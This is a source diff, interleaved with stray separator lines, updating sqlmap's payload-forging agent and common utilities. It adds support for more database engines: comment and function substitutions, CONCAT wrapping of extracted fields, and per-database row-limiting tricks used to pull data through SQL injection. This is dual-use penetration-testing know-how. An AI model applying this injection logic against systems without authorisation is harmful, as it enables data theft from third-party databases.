comment = getTechniqueData().comment if comment is None else comment
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
|
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||||
comment = queries[DBMS.ACCESS].comment.query
|
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
|
||||||
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||||
|
|
||||||
if comment is not None:
|
if comment is not None:
|
||||||
expression += comment
|
expression += comment
|
||||||
@@ -376,6 +388,11 @@ class Agent(object):
|
|||||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||||
payload = payload.replace(_, randomStr())
|
payload = payload.replace(_, randomStr())
|
||||||
|
|
||||||
|
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||||
|
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||||
|
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
||||||
|
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
def getComment(self, request):
|
def getComment(self, request):
|
||||||
@@ -433,7 +450,7 @@ class Agent(object):
|
|||||||
|
|
||||||
nulledCastedField = field
|
nulledCastedField = field
|
||||||
|
|
||||||
if field:
|
if field and Backend.getIdentifiedDbms():
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
||||||
@@ -441,12 +458,12 @@ class Agent(object):
|
|||||||
else:
|
else:
|
||||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||||
nulledCastedField = rootQuery.cast.query % field
|
nulledCastedField = rootQuery.cast.query % field
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||||
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
||||||
else:
|
else:
|
||||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||||
|
|
||||||
kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
|
kb.binaryField = conf.binaryFields and field in conf.binaryFields
|
||||||
if conf.hexConvert or kb.binaryField:
|
if conf.hexConvert or kb.binaryField:
|
||||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||||
|
|
||||||
@@ -518,7 +535,7 @@ class Agent(object):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
||||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+([\d]|\([^)]+\))+\s+(.+?)\s+FROM", query, re.I)
|
||||||
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
||||||
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
||||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||||
@@ -543,7 +560,7 @@ class Agent(object):
|
|||||||
if fieldsSelect:
|
if fieldsSelect:
|
||||||
fieldsToCastStr = fieldsSelect.group(1)
|
fieldsToCastStr = fieldsSelect.group(1)
|
||||||
elif fieldsSelectTop:
|
elif fieldsSelectTop:
|
||||||
fieldsToCastStr = fieldsSelectTop.group(1)
|
fieldsToCastStr = fieldsSelectTop.group(2)
|
||||||
elif fieldsSelectRownum:
|
elif fieldsSelectRownum:
|
||||||
fieldsToCastStr = fieldsSelectRownum.group(1)
|
fieldsToCastStr = fieldsSelectRownum.group(1)
|
||||||
elif fieldsSelectDistinct:
|
elif fieldsSelectDistinct:
|
||||||
@@ -643,7 +660,7 @@ class Agent(object):
|
|||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||||
@@ -654,7 +671,7 @@ class Agent(object):
|
|||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||||
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
|
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
|
||||||
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
|
concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||||
@@ -703,21 +720,43 @@ class Agent(object):
|
|||||||
warnMsg = "applying generic concatenation (CONCAT)"
|
warnMsg = "applying generic concatenation (CONCAT)"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
|
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
|
||||||
|
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
|
||||||
|
if _ != concatenatedQuery:
|
||||||
|
concatenatedQuery = _
|
||||||
|
fieldsSelectFrom = None
|
||||||
|
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectCase:
|
elif fieldsSelectCase:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectFrom:
|
elif fieldsSelectFrom or fieldsSelect:
|
||||||
|
fromTable = ""
|
||||||
|
|
||||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||||
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
if _:
|
||||||
|
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
|
||||||
|
|
||||||
|
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
|
||||||
|
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
chars = [_ for _ in replacement]
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for index in zeroDepthSearch(replacement, ',')[1:]:
|
||||||
|
chars[index] = "),"
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
|
||||||
|
concatenatedQuery = "%s%s" % (replacement, fromTable)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||||
@@ -932,10 +971,33 @@ class Agent(object):
|
|||||||
fromFrom = limitedQuery[fromIndex + 1:]
|
fromFrom = limitedQuery[fromIndex + 1:]
|
||||||
orderBy = None
|
orderBy = None
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
||||||
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||||
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
|
if query.startswith("SELECT "):
|
||||||
|
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||||
|
if query.startswith("SELECT ") and field is not None and field in query:
|
||||||
|
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||||
|
for part in original.split(','):
|
||||||
|
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||||
|
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||||
|
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||||
|
limitedQuery = replacement
|
||||||
|
break
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.HSQLDB):
|
elif Backend.isDbms(DBMS.HSQLDB):
|
||||||
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
||||||
if match:
|
if match:
|
||||||
@@ -954,6 +1016,15 @@ class Agent(object):
|
|||||||
if match:
|
if match:
|
||||||
orderBy = " ORDER BY %s" % match.group(1)
|
orderBy = " ORDER BY %s" % match.group(1)
|
||||||
|
|
||||||
|
elif Backend.isDbms(DBMS.CACHE):
|
||||||
|
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
|
||||||
|
if match:
|
||||||
|
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
|
||||||
|
orderBy = " %s" % match.group(0)
|
||||||
|
field = match.group(1)
|
||||||
|
|
||||||
|
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
@@ -1031,12 +1102,15 @@ class Agent(object):
|
|||||||
def forgeQueryOutputLength(self, expression):
|
def forgeQueryOutputLength(self, expression):
|
||||||
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
||||||
select = re.search(r"\ASELECT\s+", expression, re.I)
|
select = re.search(r"\ASELECT\s+", expression, re.I)
|
||||||
|
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
|
||||||
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||||
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
||||||
|
|
||||||
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
||||||
|
|
||||||
if selectTopExpr or selectMinMaxExpr:
|
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
|
||||||
|
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
|
||||||
|
elif selectTopExpr or selectMinMaxExpr:
|
||||||
lengthExpr = lengthQuery % ("(%s)" % expression)
|
lengthExpr = lengthQuery % ("(%s)" % expression)
|
||||||
elif select:
|
elif select:
|
||||||
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
||||||
@@ -1110,7 +1184,12 @@ class Agent(object):
|
|||||||
|
|
||||||
def whereQuery(self, query):
|
def whereQuery(self, query):
|
||||||
if conf.dumpWhere and query:
|
if conf.dumpWhere and query:
|
||||||
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
|
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||||
|
if match:
|
||||||
|
suffix = match.group(0)
|
||||||
|
prefix = query[:-len(suffix)]
|
||||||
|
else:
|
||||||
|
prefix, suffix = query, ""
|
||||||
|
|
||||||
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
||||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||||
@@ -1119,7 +1198,9 @@ class Agent(object):
|
|||||||
else:
|
else:
|
||||||
prefix += " WHERE %s" % conf.dumpWhere
|
prefix += " WHERE %s" % conf.dumpWhere
|
||||||
|
|
||||||
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
|
query = prefix
|
||||||
|
if suffix:
|
||||||
|
query += suffix
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -40,13 +40,11 @@ import unicodedata
|
|||||||
from difflib import SequenceMatcher
|
from difflib import SequenceMatcher
|
||||||
from math import sqrt
|
from math import sqrt
|
||||||
from optparse import OptionValueError
|
from optparse import OptionValueError
|
||||||
from xml.dom import minidom
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
from xml.sax import SAXParseException
|
from xml.sax import SAXParseException
|
||||||
|
|
||||||
from extra.beep.beep import beep
|
from extra.beep.beep import beep
|
||||||
from extra.cloak.cloak import decloak
|
from extra.cloak.cloak import decloak
|
||||||
from extra.safe2bin.safe2bin import safecharencode
|
|
||||||
from lib.core.bigarray import BigArray
|
from lib.core.bigarray import BigArray
|
||||||
from lib.core.compat import cmp
|
from lib.core.compat import cmp
|
||||||
from lib.core.compat import round
|
from lib.core.compat import round
|
||||||
@@ -77,6 +75,7 @@ from lib.core.enums import CHARSET_TYPE
|
|||||||
from lib.core.enums import CONTENT_STATUS
|
from lib.core.enums import CONTENT_STATUS
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import EXPECTED
|
from lib.core.enums import EXPECTED
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
@@ -131,6 +130,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
|
|||||||
from lib.core.settings import HASHDB_MILESTONE_VALUE
|
from lib.core.settings import HASHDB_MILESTONE_VALUE
|
||||||
from lib.core.settings import HOST_ALIASES
|
from lib.core.settings import HOST_ALIASES
|
||||||
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
|
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
|
||||||
|
from lib.core.settings import IGNORE_PARAMETERS
|
||||||
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
||||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||||
from lib.core.settings import IP_ADDRESS_REGEX
|
from lib.core.settings import IP_ADDRESS_REGEX
|
||||||
@@ -139,6 +139,7 @@ from lib.core.settings import IS_TTY
|
|||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
||||||
from lib.core.settings import LOCALHOST
|
from lib.core.settings import LOCALHOST
|
||||||
|
from lib.core.settings import MAX_INT
|
||||||
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
||||||
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
|
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
|
||||||
from lib.core.settings import MIN_TIME_RESPONSES
|
from lib.core.settings import MIN_TIME_RESPONSES
|
||||||
@@ -147,6 +148,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
|
|||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARAMETER_AMP_MARKER
|
from lib.core.settings import PARAMETER_AMP_MARKER
|
||||||
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
||||||
|
from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
|
||||||
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
||||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||||
from lib.core.settings import PAYLOAD_DELIMITER
|
from lib.core.settings import PAYLOAD_DELIMITER
|
||||||
@@ -180,6 +182,7 @@ from lib.core.settings import VERSION_STRING
|
|||||||
from lib.core.settings import ZIP_HEADER
|
from lib.core.settings import ZIP_HEADER
|
||||||
from lib.core.settings import WEBSCARAB_SPLITTER
|
from lib.core.settings import WEBSCARAB_SPLITTER
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
|
from lib.utils.safe2bin import safecharencode
|
||||||
from lib.utils.sqlalchemy import _sqlalchemy
|
from lib.utils.sqlalchemy import _sqlalchemy
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.clientform.clientform import ParseResponse
|
from thirdparty.clientform.clientform import ParseResponse
|
||||||
@@ -556,6 +559,10 @@ class Backend(object):
|
|||||||
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
||||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isFork(fork):
|
||||||
|
return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isDbmsWithin(aliases):
|
def isDbmsWithin(aliases):
|
||||||
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
||||||
@@ -623,7 +630,7 @@ def paramToDict(place, parameters=None):
|
|||||||
if parameter in (conf.base64Parameter or []):
|
if parameter in (conf.base64Parameter or []):
|
||||||
try:
|
try:
|
||||||
oldValue = value
|
oldValue = value
|
||||||
value = decodeBase64(value, binary=False)
|
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
||||||
except:
|
except:
|
||||||
errMsg = "parameter '%s' does not contain " % parameter
|
errMsg = "parameter '%s' does not contain " % parameter
|
||||||
@@ -942,6 +949,13 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
|||||||
except:
|
except:
|
||||||
level = None
|
level = None
|
||||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||||
|
if match:
|
||||||
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
|
for match in re.finditer(r"[^\w]'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||||
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -1079,7 +1093,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if retVal is None:
|
if retVal is None:
|
||||||
if checkBatch and conf.get("batch") or conf.get("api"):
|
if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
|
||||||
if isListLike(default):
|
if isListLike(default):
|
||||||
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
||||||
elif default:
|
elif default:
|
||||||
@@ -1103,8 +1117,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
|
dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
|
||||||
kb.prependFlag = False
|
kb.prependFlag = False
|
||||||
|
|
||||||
retVal = _input().strip() or default
|
retVal = _input()
|
||||||
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
|
if not retVal: # Note: Python doesn't print newline on empty input
|
||||||
|
dataToStdout("\n")
|
||||||
|
retVal = retVal.strip() or default
|
||||||
|
retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal
|
||||||
except:
|
except:
|
||||||
try:
|
try:
|
||||||
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
|
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
|
||||||
@@ -1122,8 +1139,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
|
|
||||||
if boolean:
|
if boolean:
|
||||||
retVal = retVal.strip().upper() == 'Y'
|
retVal = retVal.strip().upper() == 'Y'
|
||||||
|
else:
|
||||||
|
retVal = retVal or ""
|
||||||
|
|
||||||
return retVal or ""
|
return retVal
|
||||||
|
|
||||||
def setTechnique(technique):
|
def setTechnique(technique):
|
||||||
"""
|
"""
|
||||||
@@ -1231,7 +1250,7 @@ def checkPipedInput():
|
|||||||
# Reference: https://stackoverflow.com/a/33873570
|
# Reference: https://stackoverflow.com/a/33873570
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return not os.isatty(sys.stdin.fileno())
|
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
|
||||||
|
|
||||||
def isZipFile(filename):
|
def isZipFile(filename):
|
||||||
"""
|
"""
|
||||||
@@ -1245,6 +1264,22 @@ def isZipFile(filename):
|
|||||||
|
|
||||||
return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
|
return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
|
